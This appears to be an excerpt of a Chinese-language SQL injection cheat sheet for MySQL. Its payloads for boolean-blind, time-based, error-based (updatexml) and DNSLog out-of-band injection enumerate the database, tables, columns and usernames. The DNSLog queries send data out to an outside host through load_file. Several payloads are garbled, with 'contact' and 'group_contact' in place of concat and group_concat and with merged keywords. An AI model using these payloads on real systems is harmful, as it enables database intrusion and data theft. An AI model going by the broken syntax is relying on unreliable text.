# 若数据库名长度为 8 则返回是 xxx' and length(database())=8 --+
逐位测试数据库名称
1 2 3
xxx\' and left(database(),1)='s' --+
xxx\'and ascii(left(database(),1))=113--+
求数据库表名
利用系统库
基础命令:
1 2 3
# limit 可返回查询结果中的第 m 个起 n 个的结果
select table_name from information_schema.tables where table_schema=database() limit m,n
布尔盲注命令:
1 2 3 4 5
selectleft((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)>'a'
andselect ascii(substr((select table_name from information_schema.tables where table_schema=database() limit **0**,1),**1**,1))=114--+
求数据表列名
1 2 3 4 5
selectleft((select COLUNM_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='emails' limit 0,1),1)>'a'
andselect ascii(substr((select COLUNM_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='**emails**' limit **0**,1),**1**,1))=114--+
求表中数据
1
select ORD(MID((SELECT IFNULL(CAST(username ASCHAR),0x20) FROM security.users ORDERBY id LIMIT 0,1),1,1))=69;
# 若数据库名长度为 8 则返回是 xxx' and if(length(database())=8,sleep(1),0) --+
逐位测试数据库名称
1
xxx\' and if(ascii(mid(select database(),1,1))=113,sleep(1),0) --+
求数据库表名
利用系统库
基础命令:
1 2 3
# limit 可返回查询结果中的第 m 个起 n 个的结果
select table_name from information_schema.tables where table_schema=database() limit m,n
布尔盲注命令:
1 2
and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit m,n),1,1)>100,sleep(1),0) --+
求数据表列名
1 2
and if(ascii(substr((select COLUNM_NAME from information_schema.COLUMNS where TABLE_SCHEMA=database() and TABLE_NAME='**emails**' limit **0**,1),**1**,1))>114,sleep(1),0) --+
求表中数据
1 2
if(ORD(MID((SELECT IFNULL(CAST(username ASCHAR),0x20) FROM security.users ORDERBY id LIMIT 0,1),1,1))=69,sleep(1),0) --+
xxx and updatexml(1,contact(0x7e,(select group_contact(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
求数据表列名
1 2 3 4
xxx and updatexml(1,contact(0x7e, (select group_contact(column_name) from information_schema.columns where table_schema='security'and table_name='users') ,0x7e),1) --+
求表中数据
OOB(Out-of-band)非应用内通信注入(DNSLog注入)
知识补充
DNSLog简介
DNSLog 为用户访问 DNS 服务器时在 DNS 服务器上产生的相应的解析日志
DNSLog 注入即通过搭建或使用现有第三方 DNS 平台来通过构造好的 SQL 语句执行 DNS 解析请求来获取数据看数据
select if((select load_file(contact( ’////’,(select schema_name from information_schema.schemata limit **0**,1),’.yourid.dnslog.cn/sth’ ))),1,0);
查询数据表名
1 2 3 4
select if((select load_file(contact( ’////’,(select group_contact(table_name) from information_schema.tables where table_schema=database() limit **0**,1),’.yourid.dnslog.cn/sth’ ))),1,0);
查询数据表列名
1 2 3 4
select if((select load_file(contact( ’////’,(select group_contact(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit **0**,1),’.yourid.dnslog.cn/sth’ ))),1,0);